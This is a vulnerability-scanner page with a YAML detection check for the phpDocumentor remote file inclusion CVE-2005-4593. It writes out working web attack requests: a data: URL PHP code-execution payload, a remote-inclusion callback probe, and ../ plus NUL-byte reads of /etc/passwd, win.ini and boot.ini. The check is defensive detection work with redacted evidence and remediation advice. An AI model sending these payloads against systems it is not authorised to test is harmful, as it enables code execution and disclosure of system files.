phpDocumentor — 1 vulnerability check
noctis ships 1 vulnerability check for phpDocumentor, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
phpDocumentor file_dialog.php / bug-559668.php Remote File Inclusion
| CVE | CVE-2005-4593 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/phpdocumentor/CVE-2005-4593.yaml |
Tests phpDocumentor for the unauthenticated file inclusion in docbuilder/file_dialog.php (root_dir parameter) and Documentation/tests/bug-559668.php (FORUM[LIB] parameter), which pass the parameter to include_once()/require_once() when register_globals is on. The feed requests both pages under the usual install folders with the parameter set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. When OOB is enabled, the parameter is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, the feed reads /etc/passwd (or windows/win.ini, boot.ini) through a ../ sequence ending in a NUL byte, confirmed only when the same request for an absent file returns no file content, and finally looks for a PHP include warning naming a random value followed by the page's include suffix, which shows that the value reaches the include unchecked. The snippet only prints a hash and nothing is written on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{loc.dir}}{{loc.page}}?{{loc.param}}={{probe.data}} - Parses / computes the next value with a Rhai script
- Checks
rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: phpDocumentor Remote File Inclusion (CVE-2005-4593) - HTTP(S) request
GET {{loc.dir}}{{loc.page}}?{{loc.param}}={{probe.marker}} - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{loc.dir}}{{loc.page}}?{{loc.param}}=../../../../../../../../../../etc/passwd%00 - Checks
passwd_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{loc.dir}}{{loc.page}}?{{loc.param}}=../../../../../../../../../../windows/win.ini%00 - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{loc.dir}}{{loc.page}}?{{loc.param}}=../../../../../../../../../../boot.ini%00 - … and 12 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2005-4593
- http://rgod.altervista.org/phpdocumentor_130rc4_incl_expl.html
- http://www.securityfocus.com/bid/16080
- https://github.com/pear/PhpDocumentor/commit/19c0539b5e7789bd605f4475b93735a4b2f791dc
Feed source — tests/vulnerabilities/phpdocumentor/CVE-2005-4593.yaml
# phpDocumentor register_globals remote file inclusion — CVE-2005-4593
#
# phpDocumentor 1.3.0 RC4 (and RC5) rely on register_globals in two pages of
# a non-PEAR install (pear/PhpDocumentor git, commit 7071abc):
#
# docbuilder/file_dialog.php runs its includes before setting $root_dir:
# include_once("$root_dir/phpDocumentor/common.inc.php");
# ...
# $root_dir = dirname(dirname(__FILE__));
# so ?root_dir=<x> includes "<x>/phpDocumentor/common.inc.php"
# (fixed in commit ce81fcd, Feb 2006, 1.3.0 final).
#
# Documentation/tests/bug-559668.php, a parser test file shipped in the
# tarball:
# require_once $FORUM['LIB'] . '/classes/db/PearDb.php';
# so ?FORUM[LIB]=<x> requires "<x>/classes/db/PearDb.php"
# (commented out in commit 19c0539, Mar 2007, 1.4.0).
#
# Detection, per usual install folder (/phpdocumentor, /phpdoc,
# /PhpDocumentor, the web root) and per page:
# 1. In-band code execution (QoD 97): the parameter is a data: URL holding
# <?php echo md5(A*B);exit;?> with random A and B. When PHP may include
# URLs (allow_url_include, PHP >= 5.2) the code runs and the reply
# carries md5 of the product, a value the request never contains. If the
# wrapper is refused, PHP's warning quotes the code text, not the md5.
# The code has no quotes (magic_quotes_gpc-safe) and writes nothing.
# 2. OOB (QoD 97, only when OOB is enabled): the parameter is the noctis
# callback URL followed by "?", so the appended suffix lands in the query
# string; a fetch of the URL is the remote inclusion (allow_url_fopen on
# PHP 4 / 5.0 / 5.1, allow_url_include later). Also covers servers that
# hide PHP errors and output.
# 3. Local inclusion (QoD 75): the source check's request — a ../ sequence
# to etc/passwd (then windows/win.ini, boot.ini) followed by a NUL byte
# (PHP < 5.3.4 with magic_quotes_gpc Off cuts the path there). Reported
# only when the same request for an absent file (random missing folder,
# same file name) carries no file content.
# 4. Fallback (QoD 75): the parameter is a random name; the reply must
# carry PHP's include warning naming "<random>/<suffix>": the value went,
# concatenated, into include_once()/require_once(). A page echoing its
# query string never adds that suffix.
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/phpdocumentor_1_3_remote_file_inclusion.nasl
# (OID 1.3.6.1.4.1.25623.1.0.20374, GPL-2.0-only). Improvements: real code
# execution / OOB proof (the source check only reads a file through the NUL
# byte, which needs magic_quotes_gpc Off and PHP < 5.3.4), the second sink of
# the CVE (bug-559668.php, not tested by the source check), no dependency on
# docbuilder/top.php being reachable, an absent-file control on the file read
# (the source check's robots.txt pattern reuses the last file pattern too),
# and the include-warning fallback.
uid: a92eca8d-d29a-4f84-8509-e4daf8fd4758
name: "phpDocumentor file_dialog.php / bug-559668.php Remote File Inclusion (CVE-2005-4593)"
description: |
Tests phpDocumentor for the unauthenticated file inclusion in
docbuilder/file_dialog.php (root_dir parameter) and
Documentation/tests/bug-559668.php (FORUM[LIB] parameter), which pass the
parameter to include_once()/require_once() when register_globals is on. The
feed requests both pages under the usual install folders with the parameter
set to a data: URL carrying a small PHP snippet that prints the md5 of the
product of two random numbers; that md5 in the reply confirms that the
server ran code supplied in the request. When OOB is enabled, the parameter
is also set to the scanner's callback URL, and a fetch of that URL confirms
the remote inclusion even when PHP output and errors are hidden. Otherwise,
the feed reads /etc/passwd (or windows/win.ini, boot.ini) through a ../
sequence ending in a NUL byte, confirmed only when the same request for an
absent file returns no file content, and finally looks for a PHP include
warning naming a random value followed by the page's include suffix, which
shows that the value reaches the include unchecked. The snippet only prints
a hash and nothing is written on the server.
cves: [CVE-2005-4593]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [phpdocumentor, docbuilder, php, rfi, lfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-4593"
- "http://rgod.altervista.org/phpdocumentor_130rc4_incl_expl.html"
- "http://www.securityfocus.com/bid/16080"
- "https://github.com/pear/PhpDocumentor/commit/19c0539b5e7789bd605f4475b93735a4b2f791dc"
# OpenVAS/Greenbone NASL pre2008/phpdocumentor_1_3_remote_file_inclusion.nasl (GPL-2.0-only)
steps:
# ── Probe values, shared by every folder ─────────────────────────────────
# md5(A*B) is printed only when the included snippet actually runs.
- id: build-probe
action: script
code: |
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
#{
data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
expect: md5("" + (a * b)),
marker: "noctis" + rand_str(12)
}
store_as: probe
- id: init-warn-found
action: set_var
var_name: warn_found
var_value: false
- id: init-warn-url
action: set_var
var_name: warn_url
var_value: ""
- id: init-warn-proof
action: set_var
var_name: warn_proof
var_value: ""
- id: init-lfi-found
action: set_var
var_name: lfi_found
var_value: false
- id: init-lfi-url
action: set_var
var_name: lfi_url
var_value: ""
- id: init-lfi-file
action: set_var
var_name: lfi_file
var_value: ""
- id: init-lfi-proof
action: set_var
var_name: lfi_proof
var_value: ""
- id: init-oob-sent
action: set_var
var_name: oob_sent
var_value: false
# ── Loop group: every following step up to the OOB wait runs once per
# install folder and page. Each pass resets the values it reads.
- id: init-rce-r
action: set_var
var_name: rce_r
var_value: {status: 0, body: ""}
loop:
var: loc
over:
- {dir: "/phpdocumentor", page: "/docbuilder/file_dialog.php", param: "root_dir", suffix: "/phpDocumentor/common.inc.php"}
- {dir: "/phpdocumentor", page: "/Documentation/tests/bug-559668.php", param: "FORUM%5BLIB%5D", suffix: "/classes/db/PearDb.php"}
- {dir: "/phpdoc", page: "/docbuilder/file_dialog.php", param: "root_dir", suffix: "/phpDocumentor/common.inc.php"}
- {dir: "/phpdoc", page: "/Documentation/tests/bug-559668.php", param: "FORUM%5BLIB%5D", suffix: "/classes/db/PearDb.php"}
- {dir: "/PhpDocumentor", page: "/docbuilder/file_dialog.php", param: "root_dir", suffix: "/phpDocumentor/common.inc.php"}
- {dir: "/PhpDocumentor", page: "/Documentation/tests/bug-559668.php", param: "FORUM%5BLIB%5D", suffix: "/classes/db/PearDb.php"}
- {dir: "", page: "/docbuilder/file_dialog.php", param: "root_dir", suffix: "/phpDocumentor/common.inc.php"}
- {dir: "", page: "/Documentation/tests/bug-559668.php", param: "FORUM%5BLIB%5D", suffix: "/classes/db/PearDb.php"}
- id: init-rce-proof
action: set_var
var_name: rce_proof
var_value: ""
- id: init-warn-r
action: set_var
var_name: warn_r
var_value: {status: 0, body: ""}
- id: init-warn-cand
action: set_var
var_name: warn_cand
var_value: ""
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── 1. data: URL — in-band code execution ────────────────────────────────
- id: rce-probe
action: http_request
method: GET
path: "{{loc.dir}}{{loc.page}}?{{loc.param}}={{probe.data}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rce_r
- id: rce-check
action: script
code: |
if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
store_as: rce_proof
- id: report-rce
action: match
source: rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'rce_proof != ""'
on_match:
finding:
title: "phpDocumentor Remote File Inclusion (CVE-2005-4593)"
description: "An unauthenticated request to a phpDocumentor page with its include parameter set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. phpDocumentor before 1.4.0 (docbuilder/file_dialog.php: before 1.3.0 final) include this parameter without any check when register_globals is on, so an attacker can run any PHP code on the server."
remediation: "Upgrade phpDocumentor (1.4.0 or later fixes both pages), or remove the docbuilder/ and Documentation/tests/ folders from the web server. Disable register_globals (removed in PHP 5.4) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "GET {{loc.dir}}{{loc.page}}?{{loc.param}}=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
stop: true
# ── 4. Random value — include warning naming it (fallback, reported last) ─
# Sent to every page not answering 404 (also when the code probe got no
# reply, status 0, e.g. a filter dropping "<?php").
- id: warn-probe
action: http_request
method: GET
path: "{{loc.dir}}{{loc.page}}?{{loc.param}}={{probe.marker}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "warn_found == false && rce_r.status != 404"
store_as: warn_r
- id: warn-check
action: script
code: |
let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
let f = probe.marker + loc.suffix;
let hit = "";
if b.contains("Failed opening '" + f + "' for inclusion") { hit = f; }
if b.contains("Failed opening required '" + f + "'") { hit = f; }
for w in ["include_once(", "include(", "require_once(", "require(", "main("] {
if b.contains(w + f + ")") { hit = f; }
}
hit
condition: "warn_found == false"
store_as: warn_cand
- id: warn-url
action: script
code: "loc.dir + loc.page + \"?\" + loc.param + \"=\""
condition: 'warn_found == false && warn_cand != ""'
store_as: warn_url
- id: warn-proof
action: script
code: "warn_cand"
condition: 'warn_found == false && warn_cand != ""'
store_as: warn_proof
- id: warn-found
action: set_var
var_name: warn_found
var_value: true
condition: 'warn_cand != ""'
# ── 3. ../ + NUL byte — local file read (the source check's request) ──────
- id: read-passwd
action: http_request
method: GET
path: "{{loc.dir}}{{loc.page}}?{{loc.param}}=../../../../../../../../../../etc/passwd%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "lfi_found == false && rce_r.status != 404"
store_as: passwd_r
# No on_match: the raw body must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
condition: "lfi_found == false && passwd_r.status != 0"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
let name = passwd_m.captures[0];
name.trim();
if name == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
condition: "lfi_found == false && passwd_r.status != 0"
store_as: lin_proof
- id: read-winini
action: http_request
method: GET
path: "{{loc.dir}}{{loc.page}}?{{loc.param}}=../../../../../../../../../../windows/win.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lfi_found == false && lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lfi_found == false && lin_proof == "" && winini_r.status != 0'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{loc.dir}}{{loc.page}}?{{loc.param}}=../../../../../../../../../../boot.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lfi_found == false && lin_proof == "" && win_file == "" && winini_r.status != 0 && winini_r.status != 404'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'lfi_found == false && lin_proof == "" && win_file == "" && bootini_r.status != 0'
on_match:
set_vars:
win_file: "boot.ini"
# Control: same request for an absent file in a random missing folder,
# still ENDING with the file that hit, so a honeypot keyed on that name
# answers it too. Must answer, with the same status as the request that hit
# (or a 500 against its 200), and carry no file.
- id: control-path
action: script
code: |
let f = if lin_proof != "" { "etc/passwd" } else { win_file };
"../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
condition: 'lfi_found == false && (lin_proof != "" || win_file != "")'
store_as: ctrl_path
- id: control
action: http_request
method: GET
path: "{{loc.dir}}{{loc.page}}?{{loc.param}}={{ctrl_path}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lfi_found == false && (lin_proof != "" || win_file != "")'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lfi_found == false && ctrl_r.status != 0'
on_match:
set_vars:
ctrl_hit: true
- id: lfi-verdict
action: script
code: |
// Status of the request that hit. With errors hidden and output
// buffering off, the file printed before the page's fatal error keeps
// a 200 while the empty control gets a 500: accept that pair too.
let hs = if lin_proof != "" { passwd_r.status }
else if win_file == "windows/win.ini" { winini_r.status }
else { bootini_r.status };
let same = ctrl_r.status == hs || (hs == 200 && ctrl_r.status == 500);
if lfi_found == false && (lin_proof != "" || win_file != "")
&& ctrl_r.status != 0 && same && ctrl_hit == false {
if lin_proof != "" { "etc/passwd" } else { win_file }
} else { "" }
store_as: lfi_hit
- id: lfi-url
action: script
code: "loc.dir + loc.page + \"?\" + loc.param + \"=\""
condition: 'lfi_hit != ""'
store_as: lfi_url
- id: lfi-file
action: script
code: "lfi_hit"
condition: 'lfi_hit != ""'
store_as: lfi_file
- id: lfi-proof
action: script
code: 'if lin_proof != "" { lin_proof } else { "content of " + win_file }'
condition: 'lfi_hit != ""'
store_as: lfi_proof
- id: lfi-found
action: set_var
var_name: lfi_found
var_value: true
condition: 'lfi_hit != ""'
# ── 2. Callback URL — remote inclusion seen out of band ──────────────────
# "%3F" makes the appended suffix a query string.
- id: oob-probe
action: http_request
method: GET
path: "{{loc.dir}}{{loc.page}}?{{loc.param}}={{oob_url}}%3F"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && rce_r.status != 404"
- id: oob-sent
action: set_var
var_name: oob_sent
var_value: true
condition: "oob_enabled && rce_r.status != 404"
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && oob_sent"
on_success:
finding:
title: "phpDocumentor Remote File Inclusion (CVE-2005-4593)"
description: "An unauthenticated request to docbuilder/file_dialog.php (root_dir) or Documentation/tests/bug-559668.php (FORUM[LIB]) with the parameter set to the noctis callback URL made the server fetch that URL: phpDocumentor before 1.4.0 (docbuilder/file_dialog.php: before 1.3.0 final) include this parameter without any check when register_globals is on, so an attacker can make the server fetch and run PHP code from a server they control."
remediation: "Upgrade phpDocumentor (1.4.0 or later fixes both pages), or remove the docbuilder/ and Documentation/tests/ folders from the web server. Disable register_globals (removed in PHP 5.4) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received after GET <dir>/docbuilder/file_dialog.php?root_dir=<OOB URL>? or <dir>/Documentation/tests/bug-559668.php?FORUM[LIB]=<OOB URL>? (remote file inclusion)"
stop: true
# ── Local file read through the NUL byte, control clean ──────────────────
- id: report-lfi
action: match
source: lfi_file
pattern: "^(etc/passwd|windows/win\\.ini|boot\\.ini)$"
condition: "lfi_found"
on_match:
finding:
title: "phpDocumentor File Inclusion (CVE-2005-4593)"
description: "An unauthenticated request to a phpDocumentor page with its include parameter set to a ../ sequence ending in a system file name and a NUL byte returned that file's content, while the same request for an absent file did not: phpDocumentor before 1.4.0 (docbuilder/file_dialog.php: before 1.3.0 final) include this parameter without any check when register_globals is on. Any file the web server user can read is disclosed, and PHP code in an included file runs. Remote code inclusion was not confirmed (URL inclusion may be disabled, or OOB was not enabled)."
remediation: "Upgrade phpDocumentor (1.4.0 or later fixes both pages), or remove the docbuilder/ and Documentation/tests/ folders from the web server. Disable register_globals (removed in PHP 5.4) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{lfi_url}}../../../../../../../../../../{{lfi_file}}%00 returned {{lfi_file}} ({{lfi_proof}}); the control for an absent file returned no file content"
stop: true
# ── Fallback finding: include warning naming the random value ────────────
- id: report-warn
action: match
source: warn_proof
pattern: "^noctis[0-9a-zA-Z]+/(phpDocumentor/common\\.inc\\.php|classes/db/PearDb\\.php)$"
condition: 'warn_proof != ""'
on_match:
finding:
title: "phpDocumentor File Inclusion (CVE-2005-4593)"
description: "An unauthenticated request to a phpDocumentor page with its include parameter set to a random value returned a PHP include warning for that value followed by the page's include suffix (/phpDocumentor/common.inc.php or /classes/db/PearDb.php): phpDocumentor before 1.4.0 (docbuilder/file_dialog.php: before 1.3.0 final) pass this parameter to include_once()/require_once() without any check when register_globals is on. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
remediation: "Upgrade phpDocumentor (1.4.0 or later fixes both pages), or remove the docbuilder/ and Documentation/tests/ folders from the web server. Disable register_globals (removed in PHP 5.4) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{warn_url}}{{probe.marker}} returned a PHP include warning for {{warn_proof}}"
stop: true